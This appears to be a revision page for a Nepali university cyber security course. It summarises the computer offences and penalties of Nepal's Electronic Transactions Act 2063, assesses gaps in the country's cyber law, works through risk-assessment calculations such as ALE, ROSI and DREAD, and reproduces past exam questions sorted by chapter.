Act 27 of 2063, authenticated 22 Mangsir 2063 (8 December 2006), replacing an ordinance of the same name; 80 sections, 12 chapters; Electronic Transactions Rules 2064 (2007). The deck's four major areas: electronic transactions, computer crime, privacy and data protection, digital signatures.
- Electronic records and digital signatures recognised (chapters 2, 3).
- Controller licenses Certifying Authorities issuing digital signature certificates (PKI, chapters 4 to 6); government use of electronic records (chapter 7).
- Network service providers not liable for third-party content they merely carry, unless knowingly making illegal content available (sections 42, 43).
- Computer offences (chapter 9), tribunals (chapters 10, 11), miscellaneous provisions including procedure (chapter 12).
- Privacy and data protection is the thinnest area: section 48's confidentiality duty plus the access and damage offences; the general privacy law is the Privacy Act 2075.
The computer offences (chapter 9), the deck's assignment
Sections 44 to 46 write the guilty mind into their words ("knowingly", "with mala fide intention", "with an intention of"); every punishment is a maximum: fine, prison or both.
| Section | Offence (the deck's heading) | Maximum punishment |
|---|---|---|
| 44 | to pirate, destroy or alter computer source code, knowingly or with mala fide intention, where the law requires it kept | 3 years or Rs 200,000 or both |
| 45 | unauthorised access in computer materials: using a computer without the owner's authorisation intending to reach programs, information or data, or beyond the authorisation | Rs 200,000 or 3 years or both, by seriousness |
| 46 | damage to any computer and information system: knowingly destroying, damaging, deleting, altering or devaluing information, intending wrongful loss | Rs 200,000 or 3 years or both |
| 47 | publication of illegal materials in electronic form: banned by law, against public morality or decent behaviour, spreading hate or malice, harming harmony between castes and communities, (since 2072) teasing, harassing or insulting women | Rs 100,000 or 5 years or both; each repeat one and a half times the previous |
| 48 | confidentiality to divulge: a person given access under the Act breaching confidentiality of records, correspondence, information | Rs 100,000 or 2 years or both, by degree |
| 49 | to inform a false statement: knowingly hiding facts from, or false statements to, the Controller or a Certifying Authority | Rs 100,000 or 2 years or both |
| 50 | submission or display of a false licence or certificate: acting as a Certifying Authority without a licence; publishing a false, suspended or revoked certificate | Rs 100,000 or 2 years or both, by seriousness |
| 51 | not submitting prescribed statements or documents, or not keeping records safely (not on the deck) | Rs 50,000 |
| 52 | to commit computer fraud: a digital signature certificate for fraud; manipulating bills, balances, inventory, ATM cards for gain | Rs 100,000 or 2 years or both; gain recovered for the victim |
| 53 | abetment (inciting someone to commit a computer offence), attempt, joining a conspiracy | Rs 50,000 or 6 months or both, by degree |
| 54 | punishment to the accomplice: whoever helps commit an offence or acts as an accomplice in any other way | half the principal's punishment |
| 55 | offence committed outside Nepal (extraterritoriality): a person acting while residing abroad can be tried here if the computer, system or network is in Nepal | as for the offence |
| 56 | confiscation of computers, systems, floppies, compact discs, tape drives, software, accessories used | confiscated |
| 57 | offences by a corporate body: the person chiefly responsible for running it, unless no knowledge or all reasonable efforts; and a director, manager or secretary whose consent, knowledge or negligence let it happen | as for the offence |
| 58 | other punishment: a breach of the Act or Rules with no penalty of its own | Rs 50,000 or 6 months or both |
Mnemonic for 44 to 52: Chor Aayo, Dudh Pakaayo, Chiura Fyaakyo, Laddu Rojyo, Fasyo (code, access, damage, publication, confidentiality, false statement, licence, records, fraud): a thief came in, boiled the milk, threw away the chiura, picked the laddu, and was caught; chori (theft) is the Act's own word in section 44.
Punishment bands: attacks on the computer (44 to 46): 3 years or Rs 2 lakh; publishing (47): 5 years with Rs 1 lakh, more on repeat; breaches of trust, false papers and fraud (48 to 50, 52): 2 years or Rs 1 lakh; Rs 50,000 for records (51); 6 months or Rs 50,000 for abetment and other breaches (53, 58); half for an accomplice (54). Accomplices and abetment are two sections: the abettor incites, the accomplice helps.
Example: a student guesses an administrator's password on the college exam portal (45), changes friends' results (46), posts insulting messages about a teacher (47), edits fee records to show his dues paid (52); the roommate keeping watch is an accomplice (54, half).
- Victims: compensation (58A, 76); other laws also apply (59).
- Procedure: Government of Nepal is plaintiff; police take the Controller's or experts' help (75); complaint within 90 days of knowing of the offence (74).
- Courts: section 60 three member IT Tribunal (law, IT, commerce), appeal within 35 days to an IT Appellate Tribunal; never formed, so section 60(5) sends cases to the district court: only the Kathmandu District Court until 2023; the concerned district court in the Act since a 2082 (2025) amendment.
On the numbers: the deck and the class notes follow the Law Commission's English translation; the Nepali text, which is the law, wins: section 48's fine is Rs 1 lakh (not the Rs 10,000 of the deck and the class notes, which call the offence divulging confidentiality); the notes file the accomplice's half punishment under abetment (helping), but helping (सघाउने) is the accomplice's section 54 and abetment (दुरुत्साहन, inciting) is section 53, with its own Rs 50,000 or 6 months; a repeat section 47 offence earns one and a half times (dedhi) the previous punishment (not "one and one half percent"); a 2082 (2025) amendment made the complaint limit 90 days (not 35); the deck gives no punishment for section 45 (Nepali: Rs 2 lakh or 3 years or both, by seriousness); the translation misprints section 46 as Rs 2,000 where the Nepali says Rs 2 lakh. The deck dates the Act 2063 (2006) and 2063 (2008): authenticated December 2006; 2008 is the deck's and the notes' year.
Policy, sector rules, institutions
- National Cyber Security Policy 2080 (2023), Cabinet approval 8 August 2023: a national cyber security centre, CERTs for the provinces, awareness and skills, a national internet gateway criticised as a surveillance risk.
- National Cyber Security Centre (2024), under the Ministry of Communication and Information Technology: prevention, response, recovery, forensics.
- Nepal Rastra Bank (NRB) IT Guidelines 2012, binding on banks and financial institutions (the deck's list): IT strategy, policy and procedures; a senior official as information security officer; annual IT audit; mobile and ATM protection; data security; role-based access control; outsourcing; business continuity planning. Cyber Resilience Guidelines 2023 for banks and payment companies (governance, identification, protection, detection, response and recovery, testing, situational awareness, learning).
- Nepal Telecommunications Authority: Cyber Security Byelaw 2077 (2020), mandatory security standards for telecom operators and ISPs.
- Nepal Police Cyber Bureau (2018): investigates cyber crime.
How complete is Nepal's cyber law? Gaps and fixes (lab 17)
Assessing completeness: checking the law against today's threats and rights: modern offences defined, enforcement powers and institutions present, privacy and free expression protected, cross-border cooperation possible.
Method (lab 17): list the issues (crimes, security duties, privacy, evidence, institutions, rights, cooperation); map each to the law; mark covered, partly covered, not covered; compare with benchmarks (Budapest Convention, GDPR, NIS2); recommend.
| Issue | What Nepal has | The gap |
|---|---|---|
| Modern offences | ETA chapter 9, drafted 2006 | no clear offences for identity theft, phishing, cyberstalking, sextortion, ransomware extortion, online child sexual abuse, deepfakes, cryptocurrency fraud; Council of Europe: ETA not conceived as a cyber crime law |
| Speech | ETA section 47 | vague "public morality", "decent behaviour" used against journalists and critics; Kantipur: 70 of the 700 plus cyber crime cases decided by the Kathmandu District Court in the decade after 2013 concerned expression or journalism |
| Penalties | fines set in 2063 rupees | Rs 200,000 for hacking a bank deters no organised gang |
| Courts and institutions | district courts, Cyber Bureau (2018), National Cyber Security Centre (2024) | IT Tribunal and Appellate Tribunal never formed; few specialised judges and prosecutors |
| Evidence and procedure | National Criminal Procedure Code 2074 (2017) | no preservation or production orders, no rules on seizing and authenticating digital evidence |
| Data protection | Privacy Act 2075 (2018) | no regulator, no breach notification, few rights, Rs 30,000 maximum fine, no transfer rules |
| Security duties | NRB and NTA rules, Policy 2080 | no general law obliging critical infrastructure to secure systems or report incidents; policy is not law |
| Cross-border cooperation | Mutual Legal Assistance Act 2070 (2014) | not a party to the Budapest Convention; slow requests to foreign platforms |
| Researchers and whistleblowers | ETA section 45; RTI Act section 29 | no safe harbour for good-faith research; whistleblower protection only in public bodies |
Reform so far: the Information Technology and Cyber Security Bill 2082, to replace the ETA, was tabled in the House of Representatives in August 2025; critics said "obscene material" was undefined and data subject rights (access, correction, deletion, objection) were missing; the House was dissolved in September 2025 before it became law; the ETA 2063 still governs; the legislative plan for the fiscal year from July 2026 again lists information technology, cybersecurity and artificial intelligence bills.
Recommendations
- A modern cyber crime Act aligned with the Budapest Convention, and accession.
- Narrow content offences (hate speech, non-consensual intimate images, harassment) with a public interest defence, replacing section 47.
- A comprehensive data protection law: independent authority, breach notification, access, erasure and objection rights, fines that scale.
- A critical infrastructure security law with mandatory incident reporting to the National Cyber Security Centre.
- Digital evidence and investigation powers under judicial oversight; specialised cyber benches and trained prosecutors.
- Safe harbour for coordinated vulnerability disclosure; a whistleblower Act covering the private sector.
- Balance: every new power weighed against the constitutional rights to privacy and communication (the 2025 social media block showed the cost).
Every calculation in the study material · worked step by step
Numericals
Every calculation the lecture decks and class notes teach, in one place: the formula, then the worked case with the course's own numbers. The two the board papers asked are marked.
1. Risk rating (likelihood, value, controls, uncertainty) ASKED 2082 Bhadra Q7a
- Uncertainty: 100% minus how accurate the data is (80% accurate gives 20%).
- Both percentages are taken on L × V; uncertainty is added (the conservative side).
| Case (deck) | L × V | Mitigated | Uncertainty | Risk |
|---|---|---|---|---|
| Value 50, likelihood 1.0, no control, 90% accurate | 50 | − 0 | + 10% of 50 = 5 | 55 |
| Value 100, likelihood 0.5, control 50%, 80% accurate | 50 | − 25 | + 20% of 50 = 10 | 35 |
| Value 100, likelihood 0.1, no control, 80% accurate | 10 | − 0 | + 20% of 10 = 2 | 12 |
Ranking: 55, then 35, then 12; treat in that order.
2. Quantitative risk: SLE, ARO, ALE ASKED 2081 Bhadra Q9, 2082 internal Q8
LCD warranty: 25 laptops; two more years of warranty for all costs USD 2,000; three LCDs fail a year at USD 500 each.
- SLE = 500 × 100% = 500 dollars
- ARO = 3 a year
- ALE = 500 × 3 = 1,500 dollars a year
- Decide: over 2 years, expected loss 3,000 against warranty 2,000 (1,000 a year against 1,500): buy; it saves about 1,000. The warranty is risk transference.
3. Mitigation plan and ROSI (class notes)
Online Nepal Mart: database of 10,000 customers, unpatched SQL injection.
- AV = NPR 5,000,000; EF = 60%; SLE = 3,000,000
- ARO = 0.5; ALE = 3,000,000 × 0.5 = 1,500,000 a year
- Controls: WAF 150,000 a year, code review and patch 200,000 once, scanning 50,000 a year (400,000 in year one)
- New ARO = 0.1; new ALE = 300,000
- Value = 1,500,000 − 300,000 − 400,000 = 800,000 in year one
4. Weighted factor analysis (asset value)
Weights: revenue 30, profitability 40, public image 30; each score 0 to 1.
| Asset | Revenue | Profit | Image | Score |
|---|---|---|---|---|
| Customer order via SSL | 1.0 | 1.0 | 1.0 | 100 |
| EDI supplier orders | 0.8 | 0.9 | 0.6 | 78 |
| EDI bill of lading | 0.8 | 0.9 | 0.5 | 75 |
| Customer request by email | 0.4 | 0.4 | 0.9 | 55 |
| EDI fulfilment advice | 0.4 | 0.5 | 0.3 | 41 |
Check: 30 × 0.8 + 40 × 0.9 + 30 × 0.6 = 24 + 36 + 18 = 78.
5. Ranked vulnerability risk worksheet
- Email disruption, hardware failure: 55 × 0.2 = 11
- Lost orders, web server hardware failure: 100 × 0.1 = 10
- Email disruption, SMTP relay attack: 55 × 0.1 = 5.5
- Lost orders, web server DoS: 100 × 0.025 = 2.5
Point: a likely problem on a mid-value asset (11) outranks an unlikely one on the top asset (10).
6. DREAD score (chapter 3 deck exercise)
| Finding | D | R | E | A | D | Score |
|---|---|---|---|---|---|---|
| SQL injection, login | 9 | 9 | 8 | 10 | 8 | 8.8 |
| Admin panel exposed | 9 | 7 | 5 | 9 | 8 | 7.6 |
| Verbose errors | 3 | 10 | 9 | 2 | 9 | 6.6 |
Fix first: SQL injection (8.8). Example: (9 + 9 + 8 + 10 + 8) / 5 = 44 / 5 = 8.8.
7. UEBA anomaly: z-score
Case: a clerk opens about 40 files a day (standard deviation 10); one day 400. z = 36: far beyond normal (above 3 is already unusual), so UEBA raises the risk score.
8. Mosca's inequality (post-quantum)
X years data must stay secret, Y years to migrate, Z years to a quantum computer that breaks it.
Bank: X = 10, Y = 7, Z = 15: 10 + 7 = 17 > 15, so 2 years of data are exposed; start migrating now.
9. Criminal's cost-benefit (chapter 8)
Case (lakh rupees): gain Mb = 10, cost Ocp = 0.5, conviction cost Ocm = 15.
- Weak policing (Pa = 0.05, Pc = 0.5): 0.5 + 15 × 0.05 × 0.5 ≈ 0.9 < 10: crime pays
- Strong policing (Pa = 0.5, Pc = 0.8): 0.5 + 6 = 6.5; with gain cut to 5, 5 < 6.5: deterred
10. MTTD and MTTR (SOC metrics)
MTTD is the same average, from attack start to detection. Illustration: 3 incidents contained in 2, 4 and 6 hours: MTTR = 12 / 3 = 4 hours.
11. CVSS severity bands
| Score | Severity |
|---|---|
| 9.0 to 10.0 | Critical (Log4Shell, 10.0) |
| 7.0 to 8.9 | High |
| 4.0 to 6.9 | Medium |
| 0.1 to 3.9 | Low |
Every question the papers asked · 4 sittings · 2081 Bhadra to 2083 internal
The complete question bank
All 35 questions of the 4 sittings, reproduced verbatim: only what a paper has actually asked. Read them by paper, newest first, or by chapter, where repeats are merged and counted. Every question links to its written answer and to the card that teaches it.
How to use the bank
- By paper: sit a paper from the top, then open each answer. The board papers, 2081 and 2082 Bhadra, are the best guide to the next one.
- By chapter: revise a chapter, then answer its questions. A question set in several sittings appears once, with how many times and when, and every other wording under it.
- Answer links open the exact answer to write; Study links open the card that teaches the topic. A question with two answer links has two parts.
Internal2083 internal
2083 internal · Internal · BCT · 9 questions
Q1. Describe the CNSS security model and how it applies to information security.
Q2. Compare reflected, stored, and DOM-based XSS in terms of where the malicious payload resides and execution flow. Provide two developer-side mitigations for each type.
Q3. Define the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation.
Q4. Highlight key features and functionalities of SIEM and SOAR. How they enhance an organization’s ability to enhance cybersecurity posture.
Q5. What are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step.
Q6. With reference to SIEM architecture, explain how different stages (data collection, normalization, correlation, storage, reporting).
Q7. What types of logs can be integrated into a SIEM? Give at least four examples.
Q8. “An effective audit is not only about finding problems but also ensuring corrective action.” Discuss this statement with reference to the IT Audit Process and give an example of how follow-up can prevent recurring risks.
Q9. Consider the insider threat case where a program manager leaked confidential documents to a competitor. What policy, audit, and monitoring mechanisms could have helped detect and prevent such insider abuse?
Regular2082 Bhadra
2082 Bhadra · Regular · BCT · 8 questions
Q1. a) Explain the CIA triad and its importance in achieving organizational security goals. b) According to Sun Tzu, what two things must be achieved to successfully secure information assets? Explain.
Q2. Discuss the evolution of ransom ware from simple encryption malware to different extortion techniques. Support your answer with examples.
Q3. Explain the role of threat intelligence and frameworks like MITRE ATT&CK and the cyber kill chain in effective threat hunting.
Q4. Explain how emerging technologies such as SIEM, SOAR, UEBA, EDR, and XDR contribute to modern security operations. What are their key features and functionalities, and how do they collectively strengthen an organization’s cyber security posture?
Q5. Explain the four phases of the incident response lifecycle as defined in NIST SP 800-61 Rev. 2.
Q6. a) “An effective audit is not only about finding problems but also ensuring corrective action.” Discuss this statement with reference to the IT audit process and give an example of how follow-up can prevent recurring risks. b) Consider the insider threat case where a program manager leaked confidential documents to a competitor. What policy, audit, and monitoring mechanisms could have helped detect and prevent such insider abuse?
Q7. a) Asset A has a value of 100 and has two vulnerabilities: vulnerability #1 has a likelihood of 0.5 with a current control that addresses 50% of its risk; vulnerability #2 has a likelihood of 0.1 with no current controls. Your assumptions and data are 80% accurate. Calculate risk rating. b) Define ethical considerations in the context of cyber security. Also, provide an overview of cyber law in the context of Nepal.
Q8. a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and DREAD threat models in brief.
Internal2082 internal
2082 internal · Internal · BCT · 9 questions
Q1. What is risk management and why do we need risk management? Explain the risk management in light of NIST RMF framework.
Q2. Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications.
Q3. Define the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation.
Q4. Despite Quantum Computing still far away in terms of general availability, why do you think the PQC is already being offered by many vendors? Describe SOC visibility triad in brief.
Q5. What are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step.
Q6. a. Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples. b. Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent?
Q7. a. Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b. Describe STRIDE and PASTA threat models in brief.
Q8. You have just purchased 25 new laptops for your company. Your supervisor has asked you to analyze whether the company should purchase additional warranty coverage that covers liquid crystal display (LCD) replacement for the laptops. Purchasing an additional 2 years of warranty coverage for the 25 laptops costs $2,000. You estimate that three LCDs will fail each year, each costing $500 to replace. a. What is SLE? b. What is ARO? c. What is ALE? d. Should you purchase warranty coverage? Justify with reason?
Q9. The cyber-attack has transformed into global economic, political, and technical warfare. Explain with examples.
Regular2081 Bhadra
2081 Bhadra · Regular · BCT · 9 questions
Q1. “You can’t boil the ocean”. Elaborate the intent behind the statement in the light of risk management concepts with reference to NIST RMF framework.
Q2. Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications.
Q3. Define the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation.
Q4. Despite Quantum Computing still far away in terms of general availability, why do you think the PQC is already being offered by many vendors? Describe SOC visibility triad in brief.
Q5. What are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step.
Q6. a) Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples. b) Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent?
Q7. a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and PASTA threat models in brief.
Q8. The cyber-attack has transformed into global economic, political, and technical warfare. Explain with examples.
Q9. You have just purchased 25 new laptops for your company. Your supervisor has asked you to analyze whether the company should purchase additional warranty coverage that covers liquid crystal display (LCD) replacement for the laptops. Purchasing an additional 2 years of warranty coverage for the 25 laptops costs $2,000. You estimate that three LCDs will fail each year, each costing $500 to replace. a) What is SLE? b) What is ARO? c) What is ALE? d) Should you purchase warranty coverage? Justify with reason.
Chapter 1 · Cyber security concepts and principles 7 distinct questions, from 4 of the 4 sittings
a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and DREAD threat models in brief.
Also set as:
- a. Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b. Describe STRIDE and PASTA threat models in brief. (2082 internal Q7)
What is risk management and why do we need risk management? Explain the risk management in light of NIST RMF framework.
Also set as:
- “You can’t boil the ocean”. Elaborate the intent behind the statement in the light of risk management concepts with reference to NIST RMF framework. (2081 Bhadra Q1)
You have just purchased 25 new laptops for your company. Your supervisor has asked you to analyze whether the company should purchase additional warranty coverage that covers liquid crystal display (LCD) replacement for the laptops. Purchasing an additional 2 years of warranty coverage for the 25 laptops costs $2,000. You estimate that three LCDs will fail each year, each costing $500 to replace. a. What is SLE? b. What is ARO? c. What is ALE? d. Should you purchase warranty coverage? Justify with reason?
The cyber-attack has transformed into global economic, political, and technical warfare. Explain with examples.
Describe the CNSS security model and how it applies to information security.
a) Explain the CIA triad and its importance in achieving organizational security goals. b) According to Sun Tzu, what two things must be achieved to successfully secure information assets? Explain.
a) Asset A has a value of 100 and has two vulnerabilities: vulnerability #1 has a likelihood of 0.5 with a current control that addresses 50% of its risk; vulnerability #2 has a likelihood of 0.1 with no current controls. Your assumptions and data are 80% accurate. Calculate risk rating. b) Define ethical considerations in the context of cyber security. Also, provide an overview of cyber law in the context of Nepal.
Chapter 2 · Malware and cyber attacks 3 distinct questions, from 4 of the 4 sittings
Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications.
Compare reflected, stored, and DOM-based XSS in terms of where the malicious payload resides and execution flow. Provide two developer-side mitigations for each type.
Discuss the evolution of ransom ware from simple encryption malware to different extortion techniques. Support your answer with examples.
Chapter 3 · Cyber threat modeling and threat hunting 4 distinct questions, from 4 of the 4 sittings
Define the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation.
a. Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b. Describe STRIDE and PASTA threat models in brief.
Explain the role of threat intelligence and frameworks like MITRE ATT&CK and the cyber kill chain in effective threat hunting.
a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and DREAD threat models in brief.
Chapter 4 · Log management, data visualization and security monitoring 2 distinct questions, from 1 of the 4 sittings
With reference to SIEM architecture, explain how different stages (data collection, normalization, correlation, storage, reporting).
What types of logs can be integrated into a SIEM? Give at least four examples.
Chapter 5 · Emerging technologies in security operations 3 distinct questions, from 4 of the 4 sittings
Despite Quantum Computing still far away in terms of general availability, why do you think the PQC is already being offered by many vendors? Describe SOC visibility triad in brief.
Highlight key features and functionalities of SIEM and SOAR. How they enhance an organization’s ability to enhance cybersecurity posture.
Explain how emerging technologies such as SIEM, SOAR, UEBA, EDR, and XDR contribute to modern security operations. What are their key features and functionalities, and how do they collectively strengthen an organization’s cyber security posture?
Chapter 6 · Incident detection and response 2 distinct questions, from 4 of the 4 sittings
What are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step.
Explain the four phases of the incident response lifecycle as defined in NIST SP 800-61 Rev. 2.
Chapter 7 · Security policy and audit 3 distinct questions, from 2 of the 4 sittings
“An effective audit is not only about finding problems but also ensuring corrective action.” Discuss this statement with reference to the IT Audit Process and give an example of how follow-up can prevent recurring risks.
Consider the insider threat case where a program manager leaked confidential documents to a competitor. What policy, audit, and monitoring mechanisms could have helped detect and prevent such insider abuse?
a) “An effective audit is not only about finding problems but also ensuring corrective action.” Discuss this statement with reference to the IT audit process and give an example of how follow-up can prevent recurring risks. b) Consider the insider threat case where a program manager leaked confidential documents to a competitor. What policy, audit, and monitoring mechanisms could have helped detect and prevent such insider abuse?
Chapter 8 · The ethics of cyber security 2 distinct questions, from 3 of the 4 sittings
a. Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples. b. Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent?
a) Asset A has a value of 100 and has two vulnerabilities: vulnerability #1 has a likelihood of 0.5 with a current control that addresses 50% of its risk; vulnerability #2 has a likelihood of 0.1 with no current controls. Your assumptions and data are 80% accurate. Calculate risk rating. b) Define ethical considerations in the context of cyber security. Also, provide an overview of cyber law in the context of Nepal.
187 cards · 156 definitions and 31 exam questions · what you miss comes back sooner
Flashcards
The definitions and every question the papers have asked, one at a time. Mark yourself honestly: a card you knew moves up a box and waits twice as long, a card you did not drops to box one and comes back before you leave the page. Your boxes are saved in this browser, and nothing leaves the device.
How this works
- Five boxes. A new card starts in box one. Knowing it moves it up; missing it sends it back to box one.
- The box sets the wait: one day, two, four, eight, then sixteen.
- A theory card shows the opening of the answer, the line to start with; its link opens the full answer.
- Saved in this browser only. Clearing site data resets it.
Space or Enter shows the answer, then 1 for not yet and 2 for knew it.
8 maps · 164 topics · 673 lists · 2724 items
Every chapter as one map
This is a theory paper, and theory marks are lost on “name the types”: you can explain a term and still go blank on the list. Each map opens whole: the chapter, its topics, every list and every member, with the size of each list beside its name. Press Close all and the items go while the names and counts stay, so “7 Stages of the Cyber Kill Chain” becomes a question. The canvas pans, zooms and goes full screen. Every map is built from the chapter cards themselves, so it always matches them.
How to use the maps
- Press anything to have it explained. A topic, a list or a single item opens a note beside the map; the arrow beside a topic opens its card.
- Close all turns the map into a test. Name the members of each list before you open it. Answering before you look is what moves a list into memory.
- The count is half the memory. Knowing there are six criteria tells you to keep going when you have named four.
- Drag to move, zoom with the buttons or ctrl and the wheel; Fit puts the whole chapter back on screen.
Drag to move · ctrl and wheel to zoom